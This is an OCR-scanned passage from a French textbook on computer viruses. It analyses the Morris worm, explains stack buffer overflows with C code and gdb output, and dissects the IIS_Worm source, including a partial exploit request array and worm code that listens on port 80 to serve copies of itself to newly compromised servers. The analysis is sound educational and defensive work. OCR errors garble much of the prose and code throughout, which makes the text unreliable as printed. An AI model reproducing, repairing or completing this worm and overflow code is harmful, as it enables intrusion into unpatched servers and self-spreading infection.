10.2.1 L'action du ver Internet Plusieurs assertions fausses ont ete publiees, a I'epoque, II est vrai qu'une certaine forme dhystcric collective a pu y contribuer. II convient alors de bien sericr l'action reelle du ver. Elle se resume ainsi : - Le ver a utilise des vulnerabilites logicielles que nous presenterons dans la section suivante : celles du demon de messagerie sendmail et de l'utilitaire finger. De plus, les commandes d'execution distante de code compile rexec et de code interprets rsh, ont ete utilisees, Notons que dans le cas de la commande rexec, il est necessaire de connaitrc un nom d'utilisateur (user name) et le mot de passe correspondant. Le ver devait donc passer par une phase necessaire de crackage de mot de passe. Dans le cas de la commande rsh, des faiblesses de protocole, notamment celui base sur le principe de mutuelle confiance, ont ete exploitees, - Les machines attaquecs ont ete uniquement des machines SUN ou VAX, et plus particulierement, celles dont l'adresse etait presente dans les fichiers de configuration / etc/hosts. equiv et . r'hos t s" et dans le fichier 3



4



5



Morris Senior dirigeait une equipe de securite informatique a la National Security Agency! C'est le MIT qui a procede a la traque du ver, a son etude, notamment par des assemblage, et a l'analyse de la dissemination. Grace au travail de ses chercheurs, la progression de l'infection, heure aprcs heure, a ainsi pu etre etablie et analysec. Elle est detaillee dans [80,209]. Ces deux fichiers permettent d'administrer les connexions exterieures, sur une machine, sur la base du nrincine de mutuelle confiance. Ce nrincine autorise alors les connexions
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. f crward''. D'autres machines ont egalement ete attaquees en raison de



leurs fonctions particulieres : ordinateurs repertories dans les tables de routage comme passerelles reseau ou encore les machines terminales de liaisons point a point. Les comptes attaques et.aient generalement ceux prcsentant des mots de passe faibles. L'attaque par ce ver a certainement permis d'ailleurs de faire prendre conscience de la necessite de mots de passe forts et bien geres 7 . Ces comptes comportaient comme mot de passe : aucun mot de passe (! !), le nom d'utilisateur, le nom d'utilisateur redouble (utilisateur. utilisateur), le surnom de l'utilisateur, le prenom, a l'endroit ou a l'envers, un mot de passe present dans le fichier /usr/diet/words ou faible. - Enfin, contrairement a bien des assertions de I'epoque, le ver n'a attaque aucun compte root, et ne comportait aucune charge finale. Le lecteur trouvera dans [209, §3.5] une description plus detaillee de l'action de ce ver.



10.2.2 Les mecanismes d'action du ver Internet Bien que comportant un certain nombre de defauts qui ont limite son action (en particulier, le controle de la surinfection semble avoir ete programme de manierc calamiteuse [80, pp 5-6]), le ver Internet utilise plusieurs mecanismes pour se propager, et ce, de manicre assez puissante. Ces mecanismcs sont de deux sortes : utilisation de vulnetahilites logicielles et failles de protocoles ou de politique de securite. De plus, ce ver a mis en oeuvre plusieurs techniques de furtivite,



6



7



de tout ordinateur distant (respectivement, tout utilisateur distant) des qu'il est identifie et enregistre comme etant de confiance dans le fichier / etc/hosts. equi v (respectivement . rhosts). Ce principe, sans autre mecanisme de securitc, en particulier d'authentification, peut se reveler extremement dangereux. Ce fichier, situe, lorsqu'il existe, dans le repertoire racine de l'utilisateur, permet la redirection du courrier vers une boite de messagerie unique, lorsque l'utilisateur posscde plusieurs adresses. L'adresse de redirection contenue alors dans le fichier . forward, concerne souvent une machine differente. Un mot de passe fort comporte, rappelons le, au minimum huit caracteres alphanumeriques (majuscules, minuscules, chiffres, caracteres accentucs, signes de ponctuation... ), do it etre change regulierement (tous les mois ou les deux mois) et surtout ne pas etre note et conserve sur nanier.
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Utilisation de vuluerabitites logicielles Deux vulnerabilites ont ete exploitees par le ver, bien que la premiere soit plus une fonctionnalite voulue (dans un but d'ergonomie pendant la phase de developpement du systeme d'exploitation) qu'un veritable « bug ».



Vulnerabilite de sendmail Cette application est chargee de la gestion du courrier electronique pour Unix. Dans les versions 4.2 et 4.3 d'Unix BSD ainsi que de SunGS, l'application sendmail comportait une option « debug », actives par defaut, permettant, entre autres choses, d'envoyer un message a un programme executable, que ce dernier se trouve sur la machine locale, ou sur une machine distante. Le programme destinataire s'executait alors, utilisant les donnees d'entrees se trouvant dans le corps du message. Dans le cas du ver Internet, le programme destinataire devait activer, via le shell, un script present dans le corps du message. Ce script generait alors un autre programme en langage C, dont le role etait de telecharger chez I'expediteur du mail, le reste du corps du ver pour finalement I'cxecutcr. Cette fonctionnalite a ete, par la suite, desactivee.



Vulnerabilite de finger La seconde vulnerabilite est du type debordement de tampon (buffer overflow; voir le principe de ce type de vulnerabilite dans la section 10.3.1). Elle affectait le programme finger a travers son processus systeme (demon) fingerd. II permet d'obtenir des informations sur des utilisateurs, locaux ou sur le reseau. Par defaut, a la requete finger [options] ou finger [options] , les informations suivantes sont alors affichees :



linux:- # finger fll Login: fll Directory: /home/fll idle 152 days 22:52, On since Sat Jul 12 18:18 On since Sat Jul 12 18:18 On since Sat Jul 12 18:18 On since Sat Jul 12 18:18 On since Sat Jul 12 18:18



Name: Eric Filial Shell: /bin/bash



from console (GMT) on :0, (GMT) on pts/O (GMT) on pts/O from :0.0 (GMT) on pts/1, idle 0:01 (GMT) on pts/1, idle 0:01, from :0.0 On since Sat Jul 12 16:10 (GMT) on ots/2 (messa~es off)
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from :0.0 Mail last read Sun Feb 9 20:37 2003 (GMT) Plan: Bonjour !! Ma page web a ete mise a jour Ie 18 juin 2003. Comme la longueur de la chaine de caracteres parametrc (le nom utilisateur) ri'etait pas testee (usage de la fonction strcpy au lieu de strncpy), un choix judicieux pour cette derniere permettait d'executer du code sur une machine distante. Le code executable etait alors contenu dans le parametrc de la commande finger.



Exploitation de failles de prot 0 coles Le ver a egalement utilise des faiblesses de protocole, dues a une absence de mocanismes d'authentification. Mais la faiblesse de beaucoup de mots de passe a permis au ver, grace a une routine interne de craquage de ces derniers, d'executer facilement du code executable compile sur les comptes distants, faibles de ce point de vue. Dans ce dernier cas, le ver a exploite une faiblesse dans la politique de securite, qui, si elle avait ete efficace, aurait controle frequemment la force ainsi que la gestion des mots de passe des utilisateurs. Utilisation de la commande rexec Cette commande permet I'execution de code compile selon la syntaxe suivante :



rexec [options -1 username -p password] hote commande et necessite de connaitre le nom de l'utilisateur (username) et son mot de passe (password). L'utilisation du fichier /etc/passwd fournit la liste des utilisateurs sur une machine, ainsi que leur mot de passe, sous une forme chiffree, Uno phase de craquage de mot de passe etait donc necessaire, afin de determiner chacun d'eux. Elle comportait plusieurs niveaux: - des deductions evidentes, notamment pour les utilisateurs n'utilisant pas de mot de passe, ou un mot de passe constitue d'informations faciles a retrouver (nom, prenom, alias ... ), - des deductions de mots internes utilises par les utilisateurs, ou bien encore des mots presents dans le fichier /usr/dict/words, - et l'essai, enfin, de mots d'usage courant dont le ver contenait une liste et aue lecteur trouvera dans rso. annendice Bl ou r209. annendice Al.
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L'acces en lecture au fichier /ete/passwd constitue une grave faiblesse d'administration, maintenant bien connue de tous les administrateurs. Les systomes Unix permettent de renforcer la securite des mots de passe par l'utilisation d'un fichier supplementaire jete/shadow, non accessible en lecture, pour les utilisateurs". Mais securis« ou non, un systeme reste fragilise si les utilisateurs utilisent des mots de passe faibles.



Utilisation de la commande rsh La commande rsh permet dexecuter, sans avoir besoin de mot de passe, du code interprete, sur une machine distante. Cette facilite est basee sur le principe de mutuelle confiance, il suffit pour cela que la machine soit referencee dans la machine distante comme « amicale ». Son adresse figure alors soit dans le fichier /ete/hosts.equiv, soit dans le fichier .rhosts. La reconnaissance se fonde alors uniquement sur l'adresse IP. C'est une grave faiblesse qui a permis au ver Internet de se propager. Toute usurpation de ces adresses, par un attaquant ou un processus infectieux, ne peut etre detectee si un mecanisme d'authentification n'est pas mis en place.



Les mecanismes de furtivite Afin de limiter le risque de detection, le ver Internet contenait des mecanismes de furtivite, Ces derniers ont plus ou moins bien fonctionne, selon la plateforme consideree, II est certain qu'ils ont contribue a retarder efficacement la lutte. Les principaux mecanismcs sont les suivants : - effacement des arguments, une fois ces derniers utilises. Ainsi, une analyse des processus (via la commande ps) ne pouvait plus determiner comment le processus viral avait ete invoque, - limitation de la creation de fichiers core. Ces fichiers, lors d'un arret critique d'un processus, sont generes et contiennent les informations necessaires a l'analyse du processus et de son arret. - effacement de ses propres binaires, une fois lances. - le ver est compile sous le nom sh, usurpant donc un processus shell normal (Bourne Shell). II est assez courant (Unix etant par nature multi-taches et multi-utilisateurs) que plusieurs processus shell soient actifs simultanement. Le ver se deguisait donc en l'un d'entre eux. 8



Les mots de passe sont deportee dans le fichier prive / etc/ shadow et remplaces dans le fichier / etc/passwd par le caractere x. Ces operations sont effectuees grace a la commande vwconv.
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- auto-rafraichissement du processus par usage de la commande fork(). Ainsi, toutes les trois minutes, le ver cree un nouveau processus fils et le processus parent se termine. Les parametres d'activite (temps CPU, usage memoire, heure de debut dexecution, numero de processus (PID) ...) sont alors soit reinitialises soit modifies. - camouflage des chaines de caracteres internes par masquage constant avec le caractere Ox81 (par exemple, le nom des fichiers, qu'un simple affichage du code executable permet de reperer facilement).



10.2.3 La gestion de la crise L'analyse rapide des premieres heures de l'infection a mis en evidence l'utilisation, par le ver, de l'application sendmail. En reaction, ce service a ete coupe, dans le but de stopper sa dissemination. Mais cela s'est revele etre une grave erreur. Le ver, en effet, utilisait plusieurs moyens pour se propager et la suppression du service de messagerie n'a nullement stoppe sa progression. Elle a concouru seulement, au debut, a fournir un sentiment de repit aux administrateurs, repit qui se retourna contre eux. En coupant le flot d'information (par echange de messages) - ce qui aurait permis une lutte plus rapide contre le ver, au fur et a mesure que son etude monee simultanement par plusieurs equipes revclait tous ses veritables mocanismes d'action - sa dissemination a, au contraire, ete facilitee, En consequence, la traque du ver et son eradiction ont ete grandement retardees, L'infection avait debute le 2 novembre 1988 et il a fallu attendre le 8 novembre pour un retour a la normale. Un tel delai, de nos jours, est impensable; et si la reaction est actuellement si rapide face a une attaque par ver (en moyenne de 12 a 24 heures), c'est sans aucun doute grace a l'experience acquise lors de l'attaque du ver Internet (creation d'organismes de veille et d'alerte, mise en place de mccanismes de protection, modification en profondeur des politiques et des procecures de securite... ).



10.3 Analyse du code d'IIS Worm Le ver IIS_ Worm 9 , cree en juillet 1999, par Trent Waddington (alias QuantumG) exploite une faille dans le logiciel Internet Information Services 10 (lIS), version 4.0 de Microsoft (present sur les serveurs Windows 9 10



Ce ver est encore appele Worm. Win32.IIS. II s'agit d'une plateforme de communications sur des reseaux de type intranet ou Internet, pour la gestion de sites Web (services http, ftp, nntp, smtp ... ). Pour plus de details. consulter www.microsoft.com/WindowsServer2003/iis.
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2003). La faille est du type debordement de tampon (buffer overflow) et permet d'executer du code sur une machine equipee d'une version non corrigee de ce logiciel. Cette vulnerabilite concernait pres de 90 % des serveurs Web sous NT (source: eEye Digital Security [82]). Le ver lIS_ Worm, a travers un code simple, illustre parfaitement le mode d'action d'un ver simple. Nous allons en decortiquer le code. Les principales etapes d'action du ver sont les suivantes : - A partir d'une machine infectee (appelante), un processus viral se connecte a un serveur lIS distant (machine cible). Si, sur ce dernier, est installee une version 4.0, non corrigee, du logiciel lIS, un code y est execute en exploitant un debordement de tampon. Ce code consiste a faire se connecter la machine cible en retour sur la machine infectee, appelante, pour y telecharger une copie du ver, denornmee, de manierc constante, iisworm. exe. - Une fois execute sur la machine distante, le ver examine tous les fichiers *.htm, pour y rechercher toutes les adresses Internet que le ver tentera ensuite d'attaquer, repctant et propageant ainsi l'attaque sur d'autres serveurs. Ce ver est le premier attaquant les serveurs lIS. D'autres vers exploitant d'autres vulnerabilites ont suivi rapidement. Citons l'un des plus celebres, a titre d'exemple : le ver Codered version 1 et 2 [87].



10.3.1 Debordernent de tampon Cette technique est actuellement l'une des plus utilisee pour executer, sur une machine distante, du code malveillant. Elle necessite qu'une ou plusieurs applications critiques, c'est-a-dire impliquees dans la gestion des connexions exterieures, presentent une vulnerabilite autorisant son emploi. La plupart des vers recents utilisent le debordement de tampon (buffer overflow). La presentation qui suit est basee sur [5]. Cependant, la lecture de cet article de reference reste incontournable.



Definitions En premier lieu, expliquons le terme de buffer (zone tampon). Cette definition est celle utilisee dans [5].



Definition 55 Un buffer est une zone contigiie de blocs memoire contenant plusieurs instances d'un meme type de donnees. En langage C, cela correspond generalement a un tableau, souvent de type caracteres et declare de la maniere suivante :
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char buffer[N] ; La taille N du tableau sera, bien sur, dependants des donnees qui y seront stockees lors de I'cxecution du programme. Les tableaux peuvent etre declares de deux manicres : en statique, par la simple declaration precedente, La reservation de place (allocation), en memoire, pour ce tableau, se fera au moment de la projection (chargement) du programme en mcmoire. en dynamique. A ce moment la, seul un pointeur est declare, et l'allocation s'effectue en cours d'execntion. D'une manierc resumcc . /* pointeur sur variable de type char */ char * buffer;



/* Allocation en cours de processus */ buffer = (char *)calloc(N, sizeof(char)); le tableau, ici, est alloue uniquement en cas de besoin et pour la quantite N, requise uniquement. Les donnees sont alors stockees dans la pile (stack) utilisee par le processus!". Dans les deux cas, le terme de debordement (overflow) indique que des donnees en nombre excedant la valeur prevue N, vont etre stockees dans le tableau buffer. Ce debordement va avoir une incidence sur l'organisation des donnees en memoirc (les donnees surnumcraircs doivent etre prises en compte et stockces) et, de facon consequente, sur I'execution proprement dite. Le plus souvent, cela se traduit, pour les tableaux alloues statiquement, par le fatidique message segmentation fault (une description technique detaillee pourra etre trouvce dans [5, pp. 2-4]). Mais, dans le cas des variables de type tableau allouees dynamiquement, si ce debordement est soigneusement 11



Le code d'un processus, en memoire, est divise en trois parties: - le code proprement dit (les instructions et les donnees en lecture seule) dans la section text ou code. la section des donnees initialisees et non initialisees (section data-bss). la pile, structure de donnees de type LIFO (Last in, first out), eela correspond a un modele de stockage des donnees temporaires, la derniere stockee a un instant donne sera la premiere a etre utilisee plus tard, d'ou le terme de pile). Lors d'une interruption du cours lineaire d'un programme, par appel d'une procedure (une simple instruction CALL en assembleur, ou une procedure, pour les langages de haut-niveau comme le C), la poursuite du cours normal du processus, une fois l'execution de la procedure achevee, ne peut se faire que si le programme est capable de connaitre l'adresse de l'instruction succedant a l'appel de cette procedure. La pile sert a memoriser cette adresse. Cette structure permet egalement d'allouer dynamiquement des variables locales a ces procedures, de passer des parametres a ces procedures, et d'en transmettre le ou les resultats.
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calcule, il peut permettre I'cxecution d'un evcntucl code, malveillant ou non, contenu dans ces donnees surnumeraircs. II suffit pour cela de connaitrc et d'utiliser l'organisation fine de la pile, centre nevralgique du processus en cours.



Organisation de la pile La pile est une zone de memoirc contigiie contenant des donnees. Elle debute toujours (bas de la pile), a une adresse fixe (dependant de l'architecture). Elle contient les variables locales d'une procedure, ses parametres d'appel, ses valeurs de retour et les donnees permettant la reprise du programme en fin de procedure (et notamment le pointeur de la prochaine instruction a executor apros l'appel a cette fonction, contenue dans le registre ElP (Extended 12 Instruction Pointer)). Le processeur empile ces donnees au moyen de l'instruction PUSH et les depile grace a la fonction POP. Toutes ces donnees sont accessibles au moyen de deux registres particuliers : - le registre ESP (Extended Stack Pointer) qui pointe sur le sommet de la pile. Selon la plateforme (Intel, Spare... ), il designe soit le dernier element empile, soit le prochain emplacement vide. Dans ce qui suit, ESP pointe sur le dernier element empile, - le registre EBP (Extended Base Pointer) pointe, lui sur une adresse fixe. Comme la taille de la pile evolue constamment en cours de processus (par le jeu d'empilements et de depilements successifs), la position relative (offset) des variables et des parametres par rapport au sommet de la pile varie elle aussi constamment, compliquant ainsi leur gestion en matiere d'acces. Aussi, l'utilisation d'un referentiel fixe est-elle necessaire pour faciliter leur gestion. Illustrons cela par un exemple simple, tire de [5]. Considerons le code suivant, appele exemple1. c :



void function(int a, int b, int c) {



char buffer1[5]; char buffer2[10]; }



void maine) { 12



Le terme d' Extended indique que nous avons affaire donc des rezistres de 32 bits.



a une architecture 32 bits utilisant
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function(1, 2, 3); }



Ce programme est ensuite compile de manierc a produire un code en assembleur qui permettra de mieux comprendre le deroulement du programme. L'instruction de compilation suivante : gcc -S -0 exemple1. s exemple1. c est utilisee. L'appel a la fonction est alors code ainsi :



pushl $3 pushl $2 pushl $1 call function L'instruction call d'appel a la fonction provoquera la sauvegarde du pointeur d'instruction (ElP) dans la pile. Nous l'appellerons RET (puisqu'a la fin de I'cxecution de la fonction, on retourne au cours normal du programme, designe par l'adresse contenue dans ElP). Une fois dans la fonction, le code suivant est alors a considerer :



pushl %ebp movl %esp, %ebp subl $20, %esp Le pointeur EBP est sauvegarde dans la pile, la valeur courante de ESP, devient alors, temporairement le nouvel EBP (pour permettre l'adressage des parametres et variables locales de la fonction (referentiel fixe temporaire)). La valeur sauvegardee de EBP est appelcc SavedEBP. Au final, l'espace necessaire pour les variables locales a la fonction est cree, en soustrayant leur taille a la nouvelle valeur contenue dans ESP (arrondie a un multiple de la taille des mots, soit 32 bits, en raison de la granularite d'allocation ; les deux tableaux necessitent donc 20 octets!"}. La pile est organisee selon le schema de la figure 10.1.



Le deborrlernent de pile Avec la disposition des donnees prcccdcnt.cs, voyons comment il est alors possible d'introduire une autre instruction que celles prevucs originellement par le programme. Considerons alors notre code precedent modife de la manicre suivante : 13



Le premier tableau contient 5 octets. En realite, il en occupera 8 (deux mots de 32 bits) en raison de la granularite d'allocation. De meme, le second tableau occupe en realite 12 octets (trois mots). Au total. cela fait bien 20 octets reellement alloues.
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Haut de la pile buffer! buffer2 SavedEBP RET a b c



Bas de la pile FIG.



10.1. Organisation des donnees dans la pile



void function(int a, int b, int c) {



char buffer1[5]; char buffer2[10]; int * ret; ret buffer1 + 12; (*ret) += 8; }



void maine) {



int x; x = 0;



function(1, 2, 3); x = 1;



printf("%d\n",x); 1-
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Le but est d'ecraser l'adresse de retour (adresse de la prochaine instruction a executer, contenue dans RET) afin de remplacer l'instruction x = 1;, par une autre, choisie a notre convenance. L'adresse contenue dans RET est localisee, dans la pile, a 12 octets du debut du tableau buffer1 (8 octets alloues pour le tableau et 4 octets pour SavedESP et RET). La valeur de retour de la fonction va donc etre modifiee afin de supprimer I'execution de l'instruction x = 1;. II suffit alors de lui ajouter 8 octets. En effet, l'adresse du tableau buffer1 a ete augmcntec dans un premier temps de 12 octets. Elle correspond alors a celIe de RET 14 . Comment determine-t-on la quantite a ajouter a l'adresse de retour? II suffit de desassembler I'executable produit et de determiner la distance entre la valeur de RET et celIe de l'instruction a laquelle on veut aller directement. Apres avoir compile le code precedent, il est desassemble a l'aide de gdb. Nous obtenons le resultat suivant :



linux:- # gdb exx GNU gdb 5.1.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-suse-linux" ... (gdb) disassemble main Dump of assembler code for function main: Ox8048470 : push %ebp Ox8048471 : mov %esp,%ebp Ox8048473 : sub $Ox18,%esp Ox8048476 : movl $OxO,Oxfffffffc(%ebp) Ox804847d : add $Oxfffffffc,%esp Ox8048480 : push $Ox3 Ox8048482 : push $Ox2 Ox8048484 : push $Ox1 Ox8048486 : Ox8048450 call Ox804848b : add $Ox10,%esp Ox804848e : movl $Ox1,Oxfffffffc(%ebp) Ox8048495 : add $Oxfffffff8,%esp 14



Pour bien comprendre le mecanisme, il faut savoir que la progression de la pile de la base vers le sommet se fait dans le sens decroissant des adresses memoires.
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Ox8048498 : Ox804849b : Ox804849c : Ox80484a1 : Ox80484a6 : Ox80484a9 : Ox80484ab : Ox80484ac : Ox80484ad : End of assembler dump. (gdb)



mov push push call add mov pop ret lea



Oxfffffffc(%ebp),%eax %eax $Ox8048514 Ox8048344 $Ox10,%esp %ebp,%esp %ebp OxO(%esi),%esi



La valeur RET vaut ici Ox804848b. Le but, ici, est de contourner l'instruction a l'adresse Ox804848e pour executor directement celIe a l'adresse Ox8048495, situee a une distance de 8. Si au lieu de contourner une instruction, comme dans l'exemple precedent, nous souhaitons en executor d'autres, il suffit alors de provoquer un debordement du tableau avec des donnees contenant : - du code executable correspondant aux instructions que l'on souhaite faire executor. - une nouvelle adresse pointant vers ce nouveau code et des donnees de bourrage permettant de caler cette nouvelle adresse de sorte qu'elle ecrase la valeur contenue dans RET (valeurs sauvegardees lors de l'appel de la fonction, des registres ElP et EBP). Cet aspect-la, simple dans son principe, est helas beaucoup plus technique que le simple exemple precedent. II requiert d'examiner en detail le code assembleur de l'application prcsentant la vulnerabilite, et par laquelle, le nouveau code sera execute. Des exemples detailles sont prcscntes dans [5]. Une telle vulnerabilite existe notamment lorsque la taille des donnees sauvegardees dans un tableau-tampon (par exemple, avec la commande strcpy (buffer, argv [1J )) n'est pas controlee (structure de controle) c'esta-dire si ces donnees ne sont pas confinees strictement dans des limites imposecs par la taille du tableau; il est alors preferable, par exemple, d'utiliser la commande strncpy(buffer, argv [1J, sizeof (buffer)), qui limite la taille des donnees.



10.3.2 Faille lIS et deborrlernent de tampon Cette faille a ete detectee par une equipe de la societe eEye Digital Securityet publiee le 8 juin 1999 [82]. Elle affecte les versions 4 d'IIS, installees sur les svstemes NT 4.0. services Pack 4 et 5.
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lIS 4.0 est capable d 'administrer a dist an ce les mots de passe utili sate ur au moyen de fichiers internes comp ort ant l'extension . HTR. Aut rement dit , les utilisateurs peuvent changer leur(s) mot(s) de passe a distance. En par ticulier , l'administration des mots de passe a dist an ce se fait par l'intermedi aire du repertoire /iisadmpwd/ (localise a la racine du serveur ). Les requ et es (notamment de type http) aces fichiers sont t raitees par un e dll externe et sp ecifique : ISM. DLL. Cette dll contient des t amp ons (zone de donnees) non verifies (en termes de t aille des donnees recues) . Dne requ et e avec des donnees trop longues en argument peut po rte r at teinte aux fonctionnalites d 'lIS et permettre, si ces donnees cont iennent du code , son execut ion a distance sur le serveur concerne. Nous n 'expli cit erons pas le code de l'exploit en lui-meme, cela n 'est pas indispensable pour la comprehension du fonctionnement du ver . De plus, dans le code source considere, plu sieurs erreurs de programmation limit ent son action. II suffit juste de savoir quelle est sa struct ure et son action. Sa st ructure est decrite par la figur e 10.2. Une requ et e a un fichier *.htr (fonc-



AAAAAAAAAA



.htr HTTPl.O



,~------_/ Code malicieux FIG. 10 .2 . Structure de la requete lIS utilisee par IIS_Worm



tion GET . htr HTTP/ 1. 0) est contrui te de manie re a provoquer un debordement de tampon. La chaine de caracte res AAAA. . . . . sert pour le calage du code malveillant , a executer de maniere adequate .



10. 3. 3 E t u d e detaillee du code Le code du ver , disponible sur Internet , est articule autour de six pro cedures : - la procedure principale de type mai n 0 ; - une procedure setuphostname ; - un e procedure hunt ; - une procedure s earch; - un e procedure at t ack ; - nn e nrocedure doweb.
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setuphostnameO



7



FIG.



10.3. Organisation du code d'IIS _ Worm



L'organisation de ces procedures est explicitee dans la figure 10.3. Le code de l'exploit 15 lui-meme, permettant de se connecter sur le serveur lIS cible, est contenu sous forme hexadecimale dans le tableau suivant declare en variable globale :



char sploit[ ] = {Ox47, Ox45 , Ox54, Ox20, Ox2F, Ox41, 1* G E T I A ,



.



*1



1* Le code malveillant fait suite Ox2E, Ox68, Ox74, Ox72, Ox20, Ox48, Ox54, Ox54, Ox50, 1* h t r H T T P *1 Ox2F, Ox31, Ox2E, Ox30, OxOD, OxOA, OxOD, OxOA}; 1* I 1 0 \r \n \r \n *1 Le code source complet est disponible sur le CDROM accompagnant cet ouvrage. Le lecteur y trouvera le contenu total du tableau sploit. Etudions a present le code. II est ecrit en langage C, oriente Windows et fait appel aux API de ce systeme (Application Programming Interface). Afin de faciliter la 15



Le terme « exploit» designe la description d'une technique de piratage, d'un « truc » permettant d'exploiter une faille de securite. Cette technique se materialise sous la forme d'un programme, appele « shell code » permettant de la realiser. Les termes d'exploit et de shell code sont assez souvent confondus et consideres comme equivalents bien qu'il s'agisse d'un abus de langage. Cependant, dans ce qui suit, nous adopterons egalement cette convention largement utilisee. Exploit ou shell code designeront le code nermettant de tirer narti d'une vulnerabilite.
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comprehension du lecteur non familiarise avec ces API, nous rappellerons les principaux elements de chacune d'entre elles. Pour une description detaillee des API Windows, le lecteur consultera [227] et [228] pour les API concernant les sockets. Le code source du ver est donne sous sa forme originale. Outre un bug majeur (concernant le shell code malveillant reellement envoye par le ver), ce code contient quelques erreurs que le lecteur pourra corriger a titre d'exercice. Nous signalerons seulement l'endroit OU elles interviennent.



Programme principal Apres l'inclusion des librairies habituelles, le code du ver debute ainsi



/* Inclusion des librairies */ #include #include #include /* Variables globales */ char * mybytes; unsigned long sizemybytes; /* Code de la requete avec overflow */ char sploit[ ] = { }; void main(int argc,char **argv) {



/* Declaration des variables locales */ WORD wVersionRequested; WSADATA wsaData; int err; SOCKADDR_IN sin,sout; int soutsize = sizeof(sout); unsigned long threadid, bytesread; SOCKET s, in; wVersionRequested = MAKEWORD(1, 1); HANDLE hf; Les principaux types specifiques a Windows sont les suivants (nous les donnons ici pour faciliter la comprehension du lecteur) - tvne WORD : desiane un entier de 16 bits.
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- type WSADATA : designe la structure suivante, contenant des informations d'implerneutation des sockets!" Windows. typedef struct WSAData { WORD wVersion; /* No de version */ WORD wHighVersion; /* Version la plus haute autorisee */ char szDescription[WSADESCRIPTION_LEN+1] ; /* Stockage d'un message de statut */ char szSystemStatus[WSASYS_STATUS_LEN+1]; /* Extension du champ precedent */ unsigned short iMaxSockets; /* Obsolete */ unsigned short iMaxUdpDg; /* Obsolete */ char FAR * IpVendorlnfo; /* Obsolete */ } WSADATA; - type WIN32_FIND_DATA : exploitee par les fonctions de recherche de fichiers, FindFirstFile et FindNextFile, cette structure contient toutes les informations concernant les fichiers trouves. Elle est definie de la manierc suivante : typedef struct _WIN32_FIND_DATA { DWORD dwFileAttributes; /* Nature du fichier */ FILETIME ftCreationTime; /* Date de creation */ FILETIME ftLastAccessTime; /* Date de dernier acces */ FILETIME ftLastWriteTime /* Date de dernier acces (ecriture) */ DWORD nFileSizeHigh; nFileSizeLow; DWORD dwReservedO; DWORD dwReserved1; DWORD TCHAR cFileName[ MAXPATH ]; /* Nom du fichier */ cAlternateFileName[ 14 ]; TCHAR /* Nom du fichier (format 8+3) */



La valeur ((nFileSizeHigh du fichier. 16



«



16)



+ nFileSizeLow)



decrit la taille



Une socket est un noint de communication etabli Dar le svsteme d'exnloitation.
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- type SOCKADDR_IN : structure utilisee par les sockets Windows pour specifier les proprietes d'une adresse terminale, locale ou distante, a laquelle connecter une socket. Elle est definie ainsi : struct sockaddr_in { short sin_family; /* Famille d'adresse */ unsigned short sin_port; /* Port IP */ struct in_addr; /* Structure decrivant l'adresse IP */ char sin_zero[8J; /* Structure de padding */ }



- type SOCKET : descripteur de socket de type entier non signe. - type HANDLE : il s'agit d'un pointeur indirect pour les API Windows, qui sert a manipuler (en lecture et ecriture) un objet ou une res source systeme. La variable wVersionRequested, de type DWORD, designe la version la plus elevee des API Windows gerant les sockets auxquelles le programme peut faire appel. Ici, elle est initialisee a l'aide de la fonction WORD MAKEWORD (BYTE bl.ov , BYTE bHigh) ;, dont les arguments sont deux octets servant a fabriquer le mot de 16 bits (bHigh « 8) I bLow. L'octet de poids fort (bHigh) designe le numero de revision (numero mineur de version) tandis que l'octet de poids faible bLow designe le numero de version. Le ver ouvre tout d'abord le fichier en cours d'execution (argv [OJ) a l'aide de la fonction CreateFile (les arguments indiquent : ouverture en lecture, partagee en lecture, sans heritage possible du HANDLE par un processus fils, le fichier doit exister, le fichier est de type normal). La taille du fichier est ensuite calculee (fonction GetFileSize). Une fois ces elements rccupcrcs, le programme viral est lu (fonction FileRead) dans un tableau. Les operations suivantes, indiquees dans les commentaires du code, sont ensuite realisees :



/* Test si lancement du programme correct */ if (argc < 1) return; /* Ouverture du fichier viral en cours d'execution */ hf CreateFile (argv [OJ , GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,O); /* Calcul de sa taille */ sizemybytes = GetFileSize(hf,NULL); /* Allocation dvnamiaue d'un tableau de caracteres */
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mybytes = (char *)malloc(sizemybytes); /* Copie du fichier viral dans Ie tableau */ ReadFile(hf,mybytes,sizemybytes,&bytesread,O); /* Fermeture du fichier CloseHandle(hf);



*/



/* Initialisation de WS2_32.DLL */ err = WSAStartup(wVersionRequested, &wsaData); /* En cas d'erreur, Ie programme se termine */ if (err != 0) return; /* Appel de la procedure (virale) d'actualisation */ /* du tableau sploit avec Ie nom d'h6te local et */ /* la commande de recuperation. */ setuphostname(); /* Lancement de l'attaque proprement dite par /* par creation d'un processus fils CreateThread(O,O,hunt,∈,O,&threadid);



*/ */



/* Creation d'un point de communication s = socket(AF_INET,SOCK_STREAM,O); /* En cas d'erreur, Ie programme se termine */ if (s == -1) return;



*/



/* Determination des parametres de connexion sin. sin_family = AF_INET; sin.sin_addr.s_addr = 0; sin.sin_port = htons(80);



*/



/* Association de l'adresse locale au point de */ /* communication. Arret du programme si erreur */ if (bind(s, (LPSOCKADDR)&sin, sizeof (sin))!=O) return; /* Etablissement de la communication pour ecoute */ /* des reauetes entrantes (file d'attente limitee */
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1* a 5). Arret du programme si erreur. if (listen(s,5)!=O) return;



1* En permanence (tant que processus est actif) while (1) { 1* Acceptation des requetes entrantes in = accept(s,(sockaddr *)&sout,&soutsize); 1* Creation d'un processus fils pour execution de *1 1* la procedure doweb *1 CreateThread(O,O,doweb,∈,O,&threadid); } }



Procedure setuphostname Elle est appclce par le programme principal. La structure hostent est definie dans la version 1.1 de la librairie WinSock. C'est la structure de retour d'un grand nombre de fonctions de cette librairie, gerant les adresses reseau. Elle contient toutes les donnees concernant un hate individuel. Ses specifications sont les suivantes :



struct hostent { char FAR * h_name; 1* Nom de l'hate *1 char FAR * FAR * h_aliases; 1* listes d'alias *1 short h_addrtype; 1* famille d'adresses : AF_INET, PF_INET, ... short h_length; 1* longueur de l'adresse (en octets) char FAR * FAR * h_addr_list; 1* liste d'adresses, chaque hate pouvant avoir plusieurs adresses



*1 *1 *1



}



